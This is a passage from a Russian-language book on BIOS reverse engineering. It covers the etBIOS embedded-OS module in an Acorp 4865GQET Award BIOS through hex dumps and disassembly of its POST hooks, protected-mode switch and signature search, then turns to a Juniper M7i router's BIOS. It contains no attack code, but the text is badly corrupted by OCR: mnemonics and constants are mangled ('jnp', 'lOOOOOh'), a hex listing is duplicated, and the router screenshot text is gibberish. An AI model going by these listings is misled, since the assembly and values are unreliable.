Теперь приступим к рассмотрению особого рода материнской платы, служащей платформой для создания мультимедийного PC, известного также как STB на основе PC. Это — материнская плата Acorp 4865GQET, построенная на чипсете Intel 865G. Эта плата интересна тем, что собранные на ее основе компьютеры позволяют проигрывать DVD и просматривать интернет- страницы, не загружая полноценную операционную систему. Для этой цели компьютер загружает миниатюрную операционную систему под названием etBIOS, являющуюся частью BIOS. Конкретная операционная система для загрузки выбирается с помощью соответствующих установок в программе
BIOS Setup. При соответствующих установках BIOS, компьютер загружает или etBIOS или обыкновенную операционную систему. BIOS данной материнской платы основана на обычном коде Award BIOS версии 6.00PG. Но один компонент этой BIOS не является обычным. Это модуль etBIOS. Данный модуль представляет собой компактную ОС для встроенных систем х86, разработанную компанией Elegent Technologies. Логическая схема процесса загрузки операционной системы для этой материнской платы представлена на рис. 14.5.
Рис. 14.5. Загрузка операционной системы для материнской платы Acorp 4865GQET
Как показано на рис. 14.5, процесс загрузки операционной системы на компьютере с данной BIOS во многом подобен загрузке ОС на компьютере с обычной BIOS. Выбранные опции загрузки, в частности, установка, задающая загружаемую операционную систему, сохраняются в чипе CMOS. Встро-
енная операционная система etBIOS может проигрывать аудио CD и DVD, а также позволяет просматривать интернет-страницы, не требуя никакого дополнительного программного обеспечения. Эти возможности обеспечиваются компонентами etDVD и etBrowser модуля etBIOS. Снимок экрана проигрывателя DVD показан на рис. 14.6.
Экранный снимок, демонстрирующий воспроизведение аудиодиска, показан на рис. 14.7.
Рис. 14.6. Воспроизведение DVD с помощью etDVD (предоставлено компанией Elegent Technologies)
Рис. 14.7. Воспроизведение аудио-CD с помощью etDVD (предоставлено компанией Elegent Technologies)
24 Зак. 1387
Некоторые системы, оснащенные etBIOS, укомплектованы и TV-тюнером совместимым с etBIOS, что позволяет воспроизводить телевизионные программы.
Теперь, имея общее понятие о etBIOS, можно приступить к детальному рас. смотрению ее реализации. Начнем с исследования двоичного кода BIOS материнской платы Acorp 4865GQET. В данном случае это — Award BIOS 6.00PG версии 1.4, датированная 19 августа 2004 года и включающая модуль etBIOS. Размер двоичного файла BIOS — 512 Кбайт. Схема расположения компонентов BIOS показана на рис. 14.8.
Рис. 14.8. Схема размещения компонентов BIOS материнской платы Acorp 4865GQET
На рис. 14.8 компонент etBIOS двоичного файла BIOS материнской платы Acorp 4865GQET обозначен как "сжатый". Это не совсем соответствует действительности, так как в реальности при его обработке с помощью алгоритма LZH Award BIOS использовался нулевой уровень сжатия. Фактически, компонент не сжат, а просто в его начало добавлен заголовок LZH. В самом этом заголовке присутствует сигнатура — iho-, что означает простое копирование исходного двоичного файла компонента, без выполнения сжатия. В листинге 14.1 показан фрагмент шестнадцатеричного дампа двоичного файла BIOS в окрестности начала компонента etBIOS.
Листинг 14.1. ''Сжатый". заголовок двоичного компонента etBIOS
АдресШестнадцатеричные значения Значения ASCII
0002CF10 2А95 4АА5 52А9 55FF D000 24F5 2D6C 6830 *.J.R.U...$.-lh0 0002CF20 2D01 0004 0000 0004 0000 0045 4020 010В -Е@..
0002CF30 3034 3036 3033 2Е64 6174 002А 2000 00FF 040603.dat.* ... 0002CF40 ЕВЗЕ 4554 73FC 0300 0000 0000 0000 1000 .>ETs 0002CF50 0000 0009 8680 7225 ЕС10 3981 ВЕС5 FC06 г%..9
0002CF60 0200 0002 0000 0000 8888 8888 8680 С524 $
Адреса, показанные в листинге 14.1, отсчитываются относительно начала общего двоичного файла BIOS. Сигнатура -iho- выделена полужирным шрифтом с подчеркиванием.
На следующем этапе исследования дизассемблируем двоичный файл BIOS материнской платы Acorp 4865GQET. Как и в случае с другими двоичными файлами Award BIOS 6.00PG, начнем дизассемблирование с блока начальной загрузки, после чего перейдем к системной BIOS. Результат дизассемблирования этих двух компонентов будет в точности таким же, как и для обычного двоичного файла Award BIOS 6.00PG. Тем не менее, имеется одно отличие, заключающееся в исполнении таблицы переходов POST. Результаты дизассемблирования таблицы переходов POST и компонента etBIOS, скопированного в RAM, показаны в листинге 14.2.
Листинг 14.2. Результаты дизассемблирования процедуры POST BIOS материнской платы Acorp 4865GQET
Е_seg:90С0
mov
ex, 1
E_seg:90C3
mov
di, offset POST_jnp_tbl_start
E_seg:90C6
call
exec_P0ST
E_seg:90C9
jnp
halt
E_seg:90CC ;
SUBROUTINE
714
Часть V. Новые применения технологий BIOS
E_seg:90CC
exec_POST proc near
E_seg:90CC
mov
al, cl
E_seg:90CE
out
80h, al
; Контрольная диагностическая точка
E_seg:90D0
push
OFOOOh
E_seg:90D3
pop
fs
E_seg:90D5
assume fs:F_seg
E_seg:90D5
mov
ax, cs:[di]
E_seg:90D8
inc
di
E_seg:90D9
inc
di
E_seg:90DA
or
ax, ax
E_seg:90DC
jz
short exit
E_seg:90DE
push
di
E_seg:90DF
push
ex
E_seg:90E0
call
exec_ET_BIOS
E_seg:90E3
call
ax
E_seg:90E5
pop
ex
E_seg:90E6
pop
di
E_seg:90E7
inc
ex
E_seg:90E8
E_seg:90EA
jnp
short exec_POST
exit:
; . ..
E_seg:90EA
E_seg:90EA
re tn
E_seg:90EA
exec_POST endp
E_seg:90EB
POST_jmp_tbl_start dw lC5Fh
; . . .
E_seg:90EB
; Распаковка BIOS award_ext
E_seg:90ED
dw lC72h
; Распаковка компонента _en_code.bin
E_seg:99C0
execJET.
„BIOS proc near
; ...
E_seg:99C0
crrp
ex, 8Ah
E_seg:99C4
jz
chk_etbios_existence
E_seg:99C8
retn
E_seg:99C8
exec_ET_BIOS endp ; sp = -2
E_seg:99C8
E_seg:99C9
dq 0
E_seg:99Dl
dw OFFFFh
; Граница сегмента = OxFFFFF
E_seg:99D3
dw 0
; Базовый адрес = 0x0.
E_seg:99D5
db 0
; Продолжение базового адреса.
E_seg:99D6
dw 0CF9Bh
; Гранулярность = 4 Кбайта;
E_seg:99D6
; 32-битный сегмент;
E_seg:99D6
; Сегмент кода;
E_seg:99D8
db 0
; Продолжение базового адреса.
E_seg:99D9
dw OFFFFh
; Граница сегмента = OxFFFFF
E_seg:99DB
dw 0
; Базовый адрес = 0x0.
E_seg:99DD
db 0;
Продолжение базового адреса.
E_seg:99DE
dw 0CF93h;
1 Гранулярность = 4 Кбайт;
E_seg:99DE
; 32-битный сегмент;
E_seg: 99DE
1 Сегмент данных;
E_seg:99E0
db 0;
1 Продолжение базового адреса.
E_seg:99El
dw OFFFFh;
1 Граница сегмента = OxFFFFF
E_seg:99E3
dw 0;
1 Базовый адрес = 0x0.
E_seg:99E5
db 0;
1 Продолжение базового адреса.
E_seg:99E6
dw 8F93h;
1 Гранулярность = 4 Кбайт;
E_seg:99E6
; 16-битный сегмент;
E_seg:99E6
1 Сегмент данных;
E_seg:99E8
db 0;
1 Продолжение базового адреса.
E_seg:99E9
word_E000_99E9 dw OFFFFh;
1 Граница сегмента = OxFFFF
E_seg:99EB
word_E000_99EB dw 0;
E_seg:99EB
1 Базовый адрес = 0x0.
E_seg:99ED
byte_E000_99ED db 0;
E_seg:99ED
1 Продолжение базового адреса.
E_seg:99EE
dw 9Ah;
Гранулярность = 1 байт;
E_seg:99EE
16-битный сегмент;
E_seg:99EE
1 Сегмент кода;
E_seg:99F0
db 0;
- Продолжение базового адреса.
E_seg:99Fl
exec_ET_B!OS_GDT dw 37h;
E_seg:99F3
ET_GDT_phy_addr dd 0 ■;
E_seg:99F3
1 Модифицировано процедурой init_GDT
E_seg:9CC1
chk_etbios_existence proc near
E_seg:9CCl
1 Проверяем существование
E_seg:9CC1
• etBIOS
E_seg:9CC1
mov ex, 52h
E_seg:9CC4
push cs
E_seg:9CC5
push offset ret_addr
E_seg:9CC8
push offset FO_read_PCI_byte
E_seg:9CCB
jmp far ptr goto_Fseg
E_seg:9CD0
ret_addr:;
E_seg:9CD0
test al, 8
E_seg:9CD2
jzshort init_et_bios_bin
E_seg:9CD4
retn
E_seg:9CD5
init_et_bios_bin:;
E_seg:9CD5
mov dx, 48Fh
E_seg:9CD8
inal, dx
E_seg:9CD9
andal, OFCh
716
Часть V. Новые применения технологий Bine
E_seg:9CDB
or
al, 2
E_seg:9CDD
out
dx, al
E_seg:9CDE
call
init_ET_BIOS
E_seg:9CE1
mov
eax, crO
E_seg:9CE4
or
eax, lOh
E_seg:9CE8
and
eax, OFFFFFFFDh
E_seg:9CEC
mov
crO, eax
E_seg:9CEF
retn
E_seg:9CEF
chk_etbios_existence endp;
sp = -6
E_seg:99FF
init_ET_
„BIOS proc near;
E_seg:99FF
pushad
E_seg:9AOI
push
es
E_seg:9A02
push
ds
E_seg:9A03
push
gs
E_seg:9AO5
push
fs
E_seg:9AO7
pushf
E_seg:9AO8
mov
eax, crO
E_seg:9A0B
push
eax
E_seg:9 AOD
in
al, 21h;
Контроллер прерываний, 8259A
E_seg:9A0F
shl
ax, 8
E_seg:9A12
in
al, OAlh;
Контроллер прерываний №2, 8259А
E_seg:9A14
push
ax
E_seg:9A15
mov
si, 19B5h
E_seg:9A18
call
setup_menu?
E_seg:9AlВ
or
al, al
E_seg:9AID
jnz
sign_not_found
E_seg:9A21
mov
al, 35h;
■5'
E_seg:9A23
out
70h, al;
CMOS-память
E_seg:9A23
E_seg:9A25
in
al, 71h;
CMOS-память
E_seg:9A27
test
al, 80h
E_seg:9A29
jnz
sign_not_found
E_seg:9A2D
push
cs
E_seg:9A2E
push
offset enter_et_bios_init
E_seg:9A31
push
offset call_init_gate_A20
E_seg:9A34
jirp
far ptr goto_Fseg
IZ*__eJ^y • JIYj J
E_seg:9A39
enter_et_bios_init:;
E_seg:9A39
call
backup_mem_above_lMB
E_seg:9A3C
mov
al, 1.
E_seg:9A3E
call
ini t_desc'riptor_cache
E_seg:9A41
call
search_ET_BIOS_sign_pos
E_seg:9А44
jb
sign_not_found
E_seg:9A48
call
relocate_ET_Blos
; Перемещаем ET_BIOS выше lro Мбайта
E_seg:9А4В
mov
esi, lOOOOOh
; Область первого мегабайта.
E_seg:9A51
mov
eax, 54453EEBh
; Проверяем действительность
E_seg:9A51
E_seg:9A57
cmp
[esi], eax
; сигнатуры ET_BIOS.
E_seg:9A5B
jnz
sign_not_found
; Сигнатура не обнаружена
E_seg:9ASF E_seg:9A5F
E_seg:9A61
jirp
short ET_BIOS_sign_founc
1
; Сигнатура обнаружена
mov
al, OEAh
E_seg:9A61
E_seg:9A63
out
80h, al
; Код POST EAh.
E_seg:9A65
E_seg:9A65
hang:
E_seg:9Аб5
E_seg:9A67
jnp
short hang
ET_BIOS.
_sign_found:
; . . .
E_seg:9A67
E_seg:9A67
test
byte ptr [esi+lCh], lOh
E_seg:9A6C
jnz
short no_ctlr_reset
E_seg:9A6E
E_seg:9A71
call
reset_IDE_n_FDD_ctlr
E_seg:9A71
no_ctlr_
.reset:
; ...
E_seg:9A71
mov
edi, lOOOOOh
E_seg:9A77
mov
dword ptr es:[edi+24h],
4000000h
E_seg:9A81
mov
bx, [esi+lOh]
E_seg:9ASS
cnp
bx, 0
E_seg:9 AS 8
jz
short no_vesa_init
E_seg:9A8A
mov
ax, 4F02h
E_seg:9A8D
int
lOh
; - VIDEO - VESA SuperVGA BIOS -
E_seg:9A8D
; Устанавливаем видеорежим SuperVGA.
E_seg:9A8D
; BX = режим, установленный бит 15
E_seg:9A8D
; указывает, что видеопамять
E_seg:9A8D
; не очищается.
E_seg:9A8D
; По возвращению:
E_seg:9A8D
; al = 4Fh - функция поддерживается,
E_seg:9A8D
; АН = 00h - успешное завершение,
E_seg: 9A8D
; АН = Olh - неудачное завершение.
E_seg: 9A8F
E_seg: 9A8F
no_vesa.
_init:
E_seg:9ASF
jnp
short init ET BIOS binary
E_seg:9А99
init ET BIOS binary:; . . .
E_seg:9А99
mov
es:[edi+12h], al
E_seg:9A9E
mov
si, 19CEh
E_seg:9AA1
call
setup_menu?
E_seg:9AA4
mov
si, 99F7h
E_seg:9AA7
add
si, ax
E_seg:9AA9
mov
al, cs:[si]
E_seg: 9AAC
mov
es:[edi+21h], al
E_seg:9AB1
call
init_GDT
E_seg:9AB4
xor
ebx, ebx
E_seg:9AB7
xor
ecx, ecx
E_seg:9ABA
mov
bx, 99Flh
E_seg:9ABD
mov
ex, cs
E_seg:9ABF
shl
ecx, 4
E_seg:9AC3
add
ecx, ebx
E_seg:9AC6
push
ecx
; Физический адрес GDT помещаем на стек
E_seg:9AC6
; для последующего возвращения
E_seg:9AC6
; в 16-разрядный режим после исполнения
E_seg:9AC6
E_seg:9AC8
xor
eax, eax
; ET_BIOS.
E_seg:9ACB
mov
ax, 8
E_seg:9ACE
push
eax
; Проталкиваем номер селектора кода
E_seg:9ACE
; (32-разрядный selector режима Р)
E_seg:9AD0
mov
ax, 9BlBh
; Адрес, следующий за retf (дальше)
E_seg:9AD3
xor
ecx, ecx
E_seg:9AD6
mov
ex, cs
E_seg:9ADS
shl
ecx, 4
; ecx = phy_addr(cs)
E_seg:9ADC
add
eax, ecx
E_seg:9ADF
push
eax
E_seg:9AE1
xor
eax, eax
E_seg:9AE4
xor
ecx, ecx
E_seg:9AE7
mov
ex, ss
E_seg:9AE9
shl
ecx, 4
E_seg:9AED
mov
ax, sp
E_seg:9AEF
add
ecx, eax
E_seg:9AF2
mov
edi, lOOOOOh
i edi = phy_addr_copy_of_et_BIOS
E_seg:9AF8
cli
E_seg: 9AF9
Igdt
qword ptr cs:exec.
_ET_BIOS_GDT'
E_seg:9AFF
mov
eax, crO
E_seg:9B02
or
eax, 1
; Переключаемся в режим Р.
E_seg:9B06
mov
crO, eax
E_seg:9В09
mov ax, 10H
E_seg:9B0C
mov ds, ax
E_seg:9B0E
mov es, ax
E_seg:9B10
mov fs, ax
E_seg:9B12
E_seg:9B14
E_seg:9B16
mov gs, ax mov ss, ax
mov esp, ecx
E_seg:9B19
db66h
E_seg:9B19
retf; Безусловный переход
E_seg:9B19
E_seg:9B19
; в 32-разрядный режим Р.
init_ET_BIOS endp; sp = -3Ch
exec_et_bios:000Е9В1В ;
exec_et_bios:000E9BlB; Тип сегмента: Обычный
exec_et_bios:000Е9В1В exec_et_bios segment byte public 1' use32
exec_et_bios:000E9B1B assume cs:exec_et_bios
exec_et_bios:000E9B1B
exec_et_bios:000E9BlB call edi; Вызываем et_bios по адресу lOOOOOh
exec_et_bios:000E9BlB; (ET_BIOS:lOOOOOh)
exec_et_bios:000E9B1Dpopebx
exec_et_bios:000E9B1EIgdtqwordptr[ebx]
exec_et_bios:000E9B21db67h
exec_et_bios:000E9B21jrnpsmallfarptr20h:9B28h
exec_et_bios:000E9B21; Переход в 16-разрядный режим Р.
E_seg:9B28 ;
E_seg:9B28
E_seg:9B28
; Тип сегмента: Обычный
E_seg segment byte public 1' usel6
E_seg:9B28
E_seg:9B28
E_seg:9B28
assume cs:E_seg
mov eax, crO
E_seg:9B2B
E_seg:9B2D
and al, OFEh mov crO, eax
E_seg:9B30
E_seg:9B35
jmp far ptr real_mode
E_seg:9B35
real_mode:
E_seg:9B35
lidt qword ptr cs:dword_E000_9B9D
E_seg:9B3B
mov esi, lOOOOOh
E_seg:9C7A E_seg:9C7A E_seg:9C80
E_seg:9C85 E_seg:9C8C
relocate_ET_BIOS proc near; . . .
movedi,lOOOOOh;edi=target_addr (1 MB)
movecx,[esi+4]
addecx,3FFh
andecx,OFFFFFCOOh;Sizemod1KB
E_seg:9С93 E_seg:9C97 E_seg:9C98 E_seg:9C9C E_seg:9C9D E_seg:9C9D E_seg:9C9E E_seg:9C9E E_seg:9C9E
shr ecx, 2
cld
rep movs dword ptr es: [edi], dword ptr [esi] clc
re tn
relocate_ET_BIOS endp
search_ET_BIOS_sign_pos proc near
mov esi, 0FFF80000h
E_seg:9CA4
mov eax, 54453EEBh; eax = et_bios — первые 4 байта
E_seg:9CA4
E_seg:9CAA
E_seg:9CAA
E_seg:9CAA
E_seg:9CAE
E_seg:9CB0
E_seg:9CB4
E_seg:9CBB
E_seg:9CBD
E_seg:9CBE
E_seg: 9CBF
E_seg:9CBF
E_seg:9CBF
E_seg:9CC0
E_seg:9CC0
; (включая сигнатуру)
next_16_bytes:; ...
cirp[esi], eax
jzshort exit
addesi, 16
cirpesi, 0FFFF0000H
jb short next_16_bytes stc retn
exit:; ...
clc retn
search_ET_BIOS_sign_pos endp
ET_BIOS:00100000
ET_BIOS:00100000
; Тип сегмента: чистый код.
ET_BIOS:00100000
ET_BIOS segment byte public 'CODE' use32
ET_BIOS:00100000
assume cs:ET_BIOS
ET_BIOS:00100000
ET_BIOS:00100000
; org lOOOOOh
ET_BIOS:00100000
ET_BIOS:00100000
jnp short _start_ET_BIOS
ET_BIOS:00100002
aEt db 'ET'; Сигнатура ET_BIOS.
ET_BIOS:00100004
dw 0FC73h; Размер "сжатого" кода ET_BIOS.
ET_BIOS:00100040
_Start_ET_BIOS:; . . .
ET_BIOS:00100040
cli
ET_BIOS:00100041
mov ds:lF3BA0h, esp
ET_BIOS:00100047
mov esp, lF8000h
ET_BIOS:0010004C
cld
ET.BIOS:0010004D
Igdt
qword ptr ds:
ET_GDT_PTR
ET.BIOS:00100054
ET.BIOS:00100055
ET.BIOS:00100056
ET.BIOS:00100059
ET.BIOS:0010005A
ET.BIOS:0010005B
pushf pop and push popf call
eax
ah, OBFh
eax
decompresssss
ET_BIOS:0010005B
ET_BIOS:00100060
ET.BIOS:00100062
ET—BIOS:00100067
ET—BIOS:0010006C
ET—BIOS:0010006E
ET—BIOS:00100071
ET—BIOS:00100074
ET—BIOS:00100076
subeax,eax
movedi,lA8010h
movecx,lF3B94h
subecx,edi
shrecx,1
shrecx,1
rep stosd
call near ptr unk_
; Возможно, процедура распаковки
0_1023D0
ET—BIOS:00100076
ET—BIOS:00100076
ET—BIOS:0010007B
jnp
short back.to.
; Нужны дальнейшие исследования.
; Выглядит как сжатый компонент.
—SYS.BIOS
ET—BIOS:00100081
back.to.SYS.BIOS:; . . .
ET—BIOS:00100081
cli
ET—BIOS:00100082
mov
ds:by te.0.100033,
. al
ET.BIOS:00100087
mov esp, ds:lF3BA0h
ET_BIOS:0010008D
re tn
•
ET_BIOS:0010008E
ET.GDT dq 0; . . .
ET—BIOS:00100096
dw OFFFFh; Граница сегмента = OxFFFFF
ET.BIOS:00100098
dw 0; Базовый адрес = 0x0.
ET.BIOS:0010009A
db 0; Продолжение базового адреса.
ET.BIOS:0010009B
dw 0CF9Bh; Гранулярность = 4 Кбайт;
ET-BIOS:0010009B
; 32-битный сегмент;
ET.BIOS:0010009B
; Сегмент кода;
ET_BIOS:0010009D
db 0; Продолжение базового адреса.
ET_BIOS:0010009E
dw OFFFFh; Граница сегмента = OxFFFFF
ET.BIOS:001000A0
dw 0; Базовый адрес = 0x0.
ET_BIOS:001000A2
db 0; Продолжение базового адреса.
ET_BIOS:001000A3
dw 0CF93h; Гранулярность = 4 Кбайт;
ET_BIOS:001000A3
; 32-битный сегмент;
ET.BIOS:001000A3
; Сегмент данных;
ET_BIOS:001000A5
db 0; Продолжение базового адреса.
ET_BIOS:001000А6dbО
ET_BIOS:001000А7dbО
ET_BIOS:001000A8 ET_GDT_PTR dw OFFFFh
ET_BIOS:OO1OOOAAdd offset ET_GDT
Адресация сегментов в листинге 14.1 требует пояснений. Сегмент E_seg — это сегмент еоооь в системной BIOS, 16-разрядный сегмент с базовым адресом еооооь; смещения в этом сегменте указаны относительно адреса еооооь. Сегмент exec_et_bios — это небольшой 32-разрядный сегмент с базовым адресом ооооь; смещения в этом сегменте указаны относительно адреса ооооь . Сегмент et_bios — это перемещенный двоичный код etBIOS в RAM, 32-битный сегмент с базовым адресом ооооь; смещения кода в этом сегменте указаны относительно адреса ооооь.
Из листинга 14.2 видно, что двоичный код модуля etBIOS исполняется как часть таблицы переходов POST. Внутри общего двоичного кода BIOS код модуля etBIOS опознается по следующей 4-байтной сигнатуре:
Hex ASCII
0х54453ЕЕВ .>ЕТ
В листинге 14.2 эта сигнатура проверяется дважды: по адресу E_seg:9A5ih и по адресу E_seg:9CA4h. Я обнаружил эту сигнатуру в двух случаях применения модуля etBIOS: в материнских платах Acorp 4865GQET и Асогр 7KM400QP. На основании этого я пришел к выводу, что данная последовательность байтов в самом деле является сигнатурой. Наконец, для двоичного файла модуля etBIOS всегда применяется расширение *.dat.
Упрощенная блок-схема алгоритма исполнения исходного кода модуля etBIOS, приведенного в листинге 14.2, показана на рис. 14.9.
Упрощенная блок-схема алгоритма, приведенная на рис. 14.19, не показывает всех возможных ветвлений в процедуре et_bios. На ней подробно показана лишь главная ветвь, ведущая в итоге к исполнению модуля etBIOS в BIOS материнской платы 4865GQET. Кроме того, в листинге 14.2 имеется вызов некой функции, являющейся, по всей вероятности, функцией распаковки. К сожалению, я не могу утверждать это с уверенностью, так как еще не завершил дизассемблирование этой функции. Отсюда можно сделать вывод, что хотя в общем двоичном файле BIOS модуль etBIOS сжимался по алгоритму LZH с нулевым уровнем сжатия (то есть фактически не сжимался), он все-таки сжимается по какому-то собственному алгоритму сжатия. Определенную помощь при дизассемблировании модуля etBIOS может оказать факт наличия в нем строки компилятора GCC (листинг 14.3).
Исполнение процедуры самотестирования при включении (POST)
Рис. 14.9. Упрощенная блок-схема алгоритма исполнения etBIOS
Листинг 14.3. Строка компилятора в двоичном коде модуля etBIOS
АдресШестнадцатеричныеАдресШестнадцатеричные000011D0 0047 4343 ЗА20 2847 4Е55000011Е0 2D32 2Е39 312Е 3636 2031000011F0 342F 4С69 6Е75 7820 2865 00001200 312Е 3220 7265 6С65 6173 00001210 0000 0000 0001 0000 0030000011D0 0047 4343 ЗА20 2847 4Е55000011Е0 2D32 2Е39 312Е 3636 2031000011F0 342F 4С69 6Е75 7820 2865 00001200 312Е 3220 7265 6С65 6173 00001210 0000 0000 0001 0000 0030значенияЗначения ASCII2920 6567 6373 .GCC: (GNU) egcs 3939 3930 3331 -2.91.66 1999031 6763 732D 312Е 4/Linux (egcs-1. 6529 0008 0000 1.2 release)....312E 3031 0000 01.01..значенияЗначения ASCII2920 6567 6373 .GCC: (GNU) egcs 3939 3930 3331 -2.91.66 1999031 6763 732D 312Е 4/Linux (egcs-1. 6529 0008 0000 1.2 release)....312E 3031 0000 01.01..
АдресШестнадцатеричные
АдресШестнадцатеричные
000011D0 0047 4343 ЗА20 2847 4Е55
000011Е0 2D32 2Е39 312Е 3636 2031
000011F0 342F 4С69 6Е75 7820 2865 00001200 312Е 3220 7265 6С65 6173 00001210 0000 0000 0001 0000 0030
000011D0 0047 4343 ЗА20 2847 4Е55
000011Е0 2D32 2Е39 312Е 3636 2031
000011F0 342F 4С69 6Е75 7820 2865 00001200 312Е 3220 7265 6С65 6173 00001210 0000 0000 0001 0000 0030
значенияЗначения ASCII
2920 6567 6373 .GCC: (GNU) egcs 3939 3930 3331 -2.91.66 1999031 6763 732D 312Е 4/Linux (egcs-1. 6529 0008 0000 1.2 release)....
312E 3031 0000 01.01..
значенияЗначения ASCII
2920 6567 6373 .GCC: (GNU) egcs 3939 3930 3331 -2.91.66 1999031 6763 732D 312Е 4/Linux (egcs-1. 6529 0008 0000 1.2 release)....
312E 3031 0000 01.01..
Адреса в листинге 14.3 отсчитываются относительно начала двоичного кода модуля etBIOS. Местонахождение двоичного кода модуля etBIOS в общем файле BIOS можно определить на основании информации, указанной в его заголовке LZH. Как известно, заголовок LZH содержит информацию о размере сжатого файла и о длине заголовка сжатого файла (см. табл. 5.2 в разд. 5.1.2.7). Определив с помощью этой информации местоположение начала и конца модуля etBIOS, воспользуйтесь hex-редактором и скопируйте модуль в новый двоичный файл. Это существенно упростит процесс исследования модуля etBIOS.
Некоторые способы разработки BIOS, описанные в разд. 3.2 и 7.3, можно применить и для разработки и дизассемблирования программного обеспечения встроенных систем х8б. Особенно важным в этом отношении является метод применения сценариев компоновки, изложенный в разд. 3.2. С помощью сценария компоновки можно управлять выводом компилятора GCC. Основываясь на методе применения сценария компоновки, можно сделать умозаключение, что двоичный файл модуля etBIOS, по всей вероятности, был создан с применением сценария компоновки или, по крайней мере, с помощью специальных приемов компилятора GCC. Эта информация может оказаться полезной при дизассемблировании модуля etBIOS.
Многие разработчики встроенных систем х86 отдают предпочтение компилятору GCC, так как его возможности широки и многосторонни. Поэтому неудивительно, что и Elegent Technologies пользуется этим компилятором при разработке своего приложения etBIOS и родственных продуктов.
Сетевое устройство
В этом подразделе будет рассмотрено сетевое устройство со встроенной системой х86. Подробного анализа этого устройства я не привожу, так как раздобыть двоичный файл BIOS одного из таких устройств — задача не из легких. Такие файлы просто не предоставляются для общедоступного пользования.
Тем не менее, рассмотреть этот класс устройств важно, так как это позволит вам приобрести чувство уверенности при дизассемблировании незнакомых систем.
Для примера, рассмотрим BIOS маршрутизатора Juniper M7i со встроенной системой х8б.
В данном маршрутизаторе применяется Award BIOS. Снимки экрана при работе с утилитой CMOS Setup этой BIOS показаны на рис. 14.10 и 14.11.
И DISfИ DISf•lect•lectl«=Sklpl«=SklpSPiSPi‘JCOSM‘JCOSM2ЛТ2ЛТNote: So“j 0Ses<SC04№X Before v5.0) »urtNote: So“j 0Ses<SC04№X Before v5.0) »urtFi wary Masten Ргкагч 51*eFi wary Masten Ргкагч 51*e63 LCHI *TF63 LCHI *TFBIOS Version 1.8 СМГГ. SETUP UTILITY f J№D SOFTHPRE IF C. <2A69TU00) U4UUi»4U44lUU..&U44UUU4BIOS Version 1.8 СМГГ. SETUP UTILITY f J№D SOFTHPRE IF C. <2A69TU00) U4UUi»4U44lUU..&U44UUU4TYPE SIZE.. -SHEADFRECC - LANDZSECAR MODETYPE SIZE.. -SHEADFRECC - LANDZSECAR MODE0 . j 59® • 7590 . j 59® • 759еШ1ЩШШЩ1‘Ш1ШШ1№р ESC ; E!^Ш^Ш.4£Й£ШУ«Ф■еШ1ЩШШЩ1‘Ш1ШШ1№р ESC ; E!^Ш^Ш.4£Й£ШУ«Ф■Рис. 14.10. Установка конфигурации жесткого диска Juniper M7i (предоставлено Рендо Ария Вибава (Rendo Ariya Wibawa), http://rendo.info/?p=25; воспроизведено с разрешения)Рис. 14.10. Установка конфигурации жесткого диска Juniper M7i (предоставлено Рендо Ария Вибава (Rendo Ariya Wibawa), http://rendo.info/?p=25; воспроизведено с разрешения)BIOS Version 1.8BIOS FEATURES SET’.^fiMARB SOFTWARE, INC. (2A69TU005.eiiitliiifiiiiiiitiiiifittiif^imiiiiiifiitiittf$Xiiiiiiiiiiiiiii«lti^:iiiliii?BIOS Version 1.8BIOS FEATURES SET’.^fiMARB SOFTWARE, INC. (2A69TU005.eiiitliiifiiiiiiitiiiifittiif^imiiiiiifiitiittf$Xiiiiiiiiiiiiiii«lti^:iiiliii?4 Virus Wimir?C ui el PostQuit* Power Oh SelF TestFull Doreen JCSd Show4 Virus Wimir?C ui el PostQuit* Power Oh SelF TestFull Doreen JCSd ShowDisabled * E tabled ' Enabled DisabledDisabled * E tabled ' Enabled DisabledBoot OptionBoot : p erceBoot OptionBoot : p erceJuniperCF HIJuniperCF HIVerbose ‘.oo’ Hext boot Uuyice patented eeeory t=Verbose ‘.oo’ Hext boot Uuyice patented eeeory t=Enabled PMCEnabled PMC; Di «bled; Di «bled- Swap Floppy Drive4 Bdpt Up Flippy Е^.4 Hird Dx 3k Write P oteet4 HDD S.M.A.R.T. capability4 Delay For HDD (Seer'- Swap Floppy Drive4 Bdpt Up Flippy Е^.4 Hird Dx 3k Write P oteet4 HDD S.M.A.R.T. capability4 Delay For HDD (Seer'Disabled *Disabled ’Disabled *Disabled ’OS Select №AM ' 64 IB G«te A20 Option Sepirtf-y OptionBiot Up tk*iLock Status Typpeatic Rate Setting Typeestic Rate (CharsA Type»otic Balay tMsystOS Select №AM ' 64 IB G«te A20 Option Sepirtf-y OptionBiot Up tk*iLock Status Typpeatic Rate Setting Typeestic Rate (CharsA Type»otic Balay tMsystHon-OS2 Fast SetupHon-OS2 Fast Setup(HF Enabled30250(HF Enabled30250*«•»« VT10O Setting «***»Cc«port - 1Speed 10Parity : None Data : В stop*«•»« VT10O Setting «***»Cc«port - 1Speed 10Parity : None Data : В stopDisabled А* нАDisabled А* нАEn Wil 1 ESLEn Wil 1 ESL00* FL* FL: Q nt: нцр• Old Values: Q nt: нцр• Old Values««-'W ,.1 HSSSKV; Select Ite* 2 FU/FD/V- : Modify • (Shift'" : Colp’ 2-'W ,.1 HSSSKV; Select Ite* 2 FU/FD/V- : Modify • (Shift'" : Colp’ 24’ F8 : Load BIOS to Fault*;F7 : Load Setu> Defaults ,"TiiixiiiittiiiiiiitiTiiiititnttiixiiztiifxixitztirtiiiititfttxiiiiliiuftiiti'i4’ F8 : Load BIOS to Fault*;F7 : Load Setu> Defaults ,"TiiixiiiittiiiiiiitiTiiiititnttiixiiztiifxixitztirtiiiititfttxiiiiliiuftiiti'i
И DISf
И DISf
•lect
•lect
l«=Sklp
l«=Sklp
SPi
SPi
‘JCOSM
‘JCOSM
2ЛТ
2ЛТ
Note: So“j 0Ses<SC04№X Before v5.0) »urt
Note: So“j 0Ses<SC04№X Before v5.0) »urt
Fi wary Masten Ргкагч 51*e
Fi wary Masten Ргкагч 51*e
63 LCH
I *TF
63 LCH
I *TF
BIOS Version 1.8 СМГГ. SETUP UTILITY f J№D SOFTHPRE IF C. <2A69TU00) U4UUi»4U44lUU..&U44UUU4
BIOS Version 1.8 СМГГ. SETUP UTILITY f J№D SOFTHPRE IF C. <2A69TU00) U4UUi»4U44lUU..&U44UUU4
TYPE SIZE.. -SHEADFRECC - LANDZSECAR MODE
TYPE SIZE.. -SHEADFRECC - LANDZSECAR MODE
0 . j 59
® • 759
0 . j 59
® • 759
еШ1ЩШШЩ1‘Ш1ШШ1№р ESC ; E!^Ш^Ш.4£Й£ШУ«Ф■
еШ1ЩШШЩ1‘Ш1ШШ1№р ESC ; E!^Ш^Ш.4£Й£ШУ«Ф■
